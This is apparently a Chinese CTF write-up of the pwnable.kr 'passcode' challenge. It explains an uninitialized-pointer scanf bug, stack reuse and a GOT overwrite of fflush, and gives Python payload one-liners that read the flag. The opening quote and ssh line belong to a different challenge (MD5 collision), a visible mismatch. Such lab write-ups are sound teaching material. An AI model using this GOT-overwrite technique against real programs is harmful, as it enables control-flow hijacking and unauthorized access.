OneShell

I fight for a brighter tomorrow

0%

[pwnable.kr] passcode

1
2
3
4
Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!

ssh col@pwnable.kr -p2222 (pw:guest)

登录上,一开始我是没有意识到这个代码里面有什么错误,输入用户名之后,继续输入passcode1。我输入了338150,然后直接报错segment fault了?!怎么会呢,输入怎么会有错。

后面仔细看才发现,scanf的时候,没有取地址&。那scanf的效果实际上是:写入值到地址=passcode1的值的内存中,即[passcode1]地址处的内存,写入值。

如果能够提前控制passcode1的值(栈变量),或许就可以达到任意地址写入的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

编译:

1
2
3
4
5
6
7
8
9
10
11
12
13
passcode.c: In function ‘login’:
passcode.c:9:17: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
9 | scanf("%d", passcode1);
| ~^ ~~~~~~~~~
| | |
| | int
| int *
passcode.c:14:13: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
14 | scanf("%d", passcode2);
| ~^ ~~~~~~~~~
| | |
| | int
| int *

似乎懂一点意思了,应该是上一个函数welcome栈中局部变量可控,下一个函数login中复用了栈,但是栈中的内容没有被清零,因此只要分析函数welcome中的局部变量name和login函数中的passcode1和passcode2在栈中的空间关系,就可以先在函数welcom中控制passcode1或者passcode2的值,也就是控制任意写的地址。然后在函数login中通过scanf的错误写法,控制任意写的值,最后就达到了任意地址写入的目的。

本质原因是因为这两个函数都是由main函数调用的,而且两个函数的传参数量都一样(都是0),因此两个函数的栈帧也是相同的。如果遇到传参不同或者不同步调用,也可以分析出来偏移关系。

如下是调试的时候,函数welcome和函数login的栈布局,可以看到函数栈的起始地址都是相同的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> info frame 0
Stack frame at 0xffffd220:
eip = 0x8048609 in welcome; saved eip = 0x804867f
called by frame at 0xffffd240
Arglist at 0xffffd218, args:
Locals at 0xffffd218, Previous frame's sp is 0xffffd220
Saved registers:
eip at 0xffffd21c

pwndbg> info frame 0
Stack frame at 0xffffd220:
eip = 0x8048564 in login; saved eip = 0x8048684
called by frame at 0xffffd240
Arglist at 0xffffd218, args:
Locals at 0xffffd218, Previous frame's sp is 0xffffd220
Saved registers:
eip at 0xffffd21c

分析函数welcom中的局部变量name的地址=ebp-0x70;

1
2
3
4
5
  0x804862a <welcome+33>    mov    eax, 0x80487dd
0x804862f <welcome+38> lea edx, [ebp - 0x70]
0x8048632 <welcome+41> mov dword ptr [esp + 4], edx
0x8048636 <welcome+45> mov dword ptr [esp], eax
► 0x8048639 <welcome+48> call __isoc99_scanf@plt <__isoc99_scanf@plt>

分析函数login中的局部变量passcode1的地址=ebp-0x10,passcode2的地址是ebp-0xc;

1
2
3
4
5
6
7
8
9
10
11
  0x8048577 <login+19>    mov    eax, 0x8048783
0x804857c <login+24> mov edx, dword ptr [ebp - 0x10]
0x804857f <login+27> mov dword ptr [esp + 4], edx
0x8048583 <login+31> mov dword ptr [esp], eax
► 0x8048586 <login+34> call __isoc99_scanf@plt <__isoc99_scanf@plt>

0x80485a5 <login+65> mov eax, 0x8048783
0x80485aa <login+70> mov edx, dword ptr [ebp - 0xc]
0x80485ad <login+73> mov dword ptr [esp + 4], edx
0x80485b1 <login+77> mov dword ptr [esp], eax
► 0x80485b4 <login+80> call __isoc99_scanf@plt <__isoc99_scanf@plt>

经过简单的计算,name和passcode1的偏移是96,和passcode2的偏移是100。而name长度最多是100,那么就考虑先使用name控制passcode1中的初始值。

也就是,获取了一个任意地址4字节写入的能力。

利用

利用方式可以考虑plt劫持,可以就近在输入完毕passcode1后,劫持fflush函数到执行system输入flag的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> plt
Section .plt 0x8048410-0x80484b0:
0x8048420: printf@plt
0x8048430: fflush@plt
0x8048440: __stack_chk_fail@plt
0x8048450: puts@plt
0x8048460: system@plt
0x8048470: __gmon_start__@plt
0x8048480: exit@plt
0x8048490: __libc_start_main@plt
0x80484a0: __isoc99_scanf@plt

pwndbg> x/3i *fflush
0x8048430 <fflush@plt>: jmp DWORD PTR ds:0x804a004
0x8048436 <fflush@plt+6>: push 0x8
0x804843b <fflush@plt+11>: jmp 0x8048410

exp如下:

1
2
python3 -c "import sys; sys.stdout.buffer.write(b'A' * 96 + b'\x04\xa0\x04\x08' + b'134514147')" > ./payload
python -c "print '\x01'*96 + '\x04\xa0\x04\x08' + '134514147'" | ./passcode

知识点小结

全局偏移表(GOT,global offset table)的作用是将位置独立的地址重定向到绝对地址;函数连接表(PLT,procedure linkage table)的作用是将位置独立的函数调用重定向到绝对地址。

调用函数fflush的时候,实际上并不是直接到flush的代码去执行,而是根据fflush查询到plt表中,jmp跳转到ds:off_804A004,也就是到got.plt表中,此时这个表中已经填充好了fflush函数的绝对地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.plt:08048430 ; int fflush(FILE *stream)
.plt:08048430 _fflush proc near ; CODE XREF: login+2F↓p
.plt:08048430
.plt:08048430 stream = dword ptr 4
.plt:08048430
.plt:08048430 jmp ds:off_804A004
.plt:08048430 _fflush endp

.got.plt:0804A000 off_804A000 dd offset printf ; DATA XREF: _printf↑r
.got.plt:0804A004 off_804A004 dd offset fflush ; DATA XREF: _fflush↑r
.got.plt:0804A008 off_804A008 dd offset __stack_chk_fail
.got.plt:0804A008 ; DATA XREF: ___stack_chk_fail↑r
.got.plt:0804A00C off_804A00C dd offset puts ; DATA XREF: _puts↑r
.got.plt:0804A010 off_804A010 dd offset system ; DATA XREF: _system↑r
.got.plt:0804A014 off_804A014 dd offset __gmon_start__
.got.plt:0804A014 ; DATA XREF: ___gmon_start__↑r